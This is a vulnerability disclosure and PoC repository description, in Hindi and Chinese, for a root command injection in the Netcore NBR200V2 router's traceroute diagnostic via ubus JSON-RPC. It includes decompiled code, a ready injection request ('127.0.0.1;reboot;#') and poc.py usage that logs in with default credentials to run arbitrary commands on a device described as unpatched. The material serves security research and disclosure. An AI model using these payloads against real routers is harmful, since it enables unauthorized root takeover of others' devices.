
CVE-2026-94095 के लिए PoC, Netcore NBR200V2 फर्मवेयर में ubus JSON-RPC के माध्यम से traceroute कमांड इंजेक्शन, जो अधिकृत परीक्षण के लिए root RCE को सक्षम बनाता है।
| फ़ील्ड | मान |
|---|---|
| विक्रेता | Netcore |
| मॉडल | NBR200V2 |
| फ़र्मवेयर संस्करण | V1.3.241127.071246 |
| प्रभावित घटक | /usr/bin/network_tools |
| भेद्यता प्रकार | OS कमांड इंजेक्शन (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (गंभीर) |
| हमला वेक्टर | रिमोट (ubus JSON-RPC) |
| पूर्वापेक्षा | पहुँच योग्य ubus एंडपॉइंट + एक निम्न-विशेषाधिकार सत्र (sid) |
| विक्रेता स्थिति | प्रारंभ में संपर्क किया गया; कोई प्रतिक्रिया नहीं; प्रकटीकरण के समय कोई पैच नहीं |
Netcore NBR200V2 फ़र्मवेयर V1.3.241127.071246 में ट्रेसरूट डायग्नोस्टिक सुविधा में एक रिमोट कमांड इंजेक्शन भेद्यता मौजूद है। ट्रेसरूट हैंडलर ubus JSON-RPC से हमलावर-नियंत्रित url मान स्वीकार करता है, उसे एक शेल कमांड में जोड़ता है, और परिणामी कमांड को निष्पादित करता है। एक रिमोट हमलावर इस दोष का उपयोग मनमाने शेल कमांड निष्पादित करने, डिवाइस को रीबूट करने, या पूर्ण सिस्टम समझौता प्राप्त करने के लिए कर सकता है।
रिमोट अनुरोध ubus JSON-RPC के रूप में स्वीकार किया जाता है:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
ubus विधि मैपिंग अनुरोध को sub_401BD8 पर रूट करती है:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 JSON-RPC डेटा को पार्स करता है और उसे tools_traceroute() को अग्रेषित करता है:
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() अविश्वसनीय url मान का उपयोग करके एक शेल कमांड बनाता है:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
यह भेद्यता ping समस्या के साथ संरचनात्मक रूप से समान है, लेकिन एक अलग सिंक और निष्पादन पथ तक पहुँचती है। चूँकि system() का उपयोग किया जाता है, ;, &&, और शेल टिप्पणियों जैसे कमांड विभाजक मान्य होते हैं। इसलिए डायग्नोस्टिक सुविधा एक सामान्य-प्रयोजन कमांड निष्पादन प्रिमिटिव बन जाती है।
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
अपेक्षित प्रभाव: राउटर ट्रेसरूट कार्य को संसाधित करते समय reboot निष्पादित करता है। reboot के स्थान पर मनमाने शेल कमांड प्रतिस्थापित किए जा सकते हैं।
तीनों एक ही /usr/bin/network_tools तक पहुँचते हैं; इस बाइनरी में डायग्नोस्टिक फ़ंक्शन समान असुरक्षित पैटर्न साझा करते हैं, इसलिए केवल एक प्रवेश बिंदु को ठीक करना पर्याप्त नहीं है।
प्रकटीकरण के समय कोई विक्रेता पैच नहीं। अंतरिम शमन:
प्रकटीकरण उस स्वतंत्र शोधकर्ता द्वारा किया गया जिसने तकनीकी राइट-अप प्रकाशित किया और विक्रेता के साथ (असफलतापूर्वक) समन्वय किया।
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。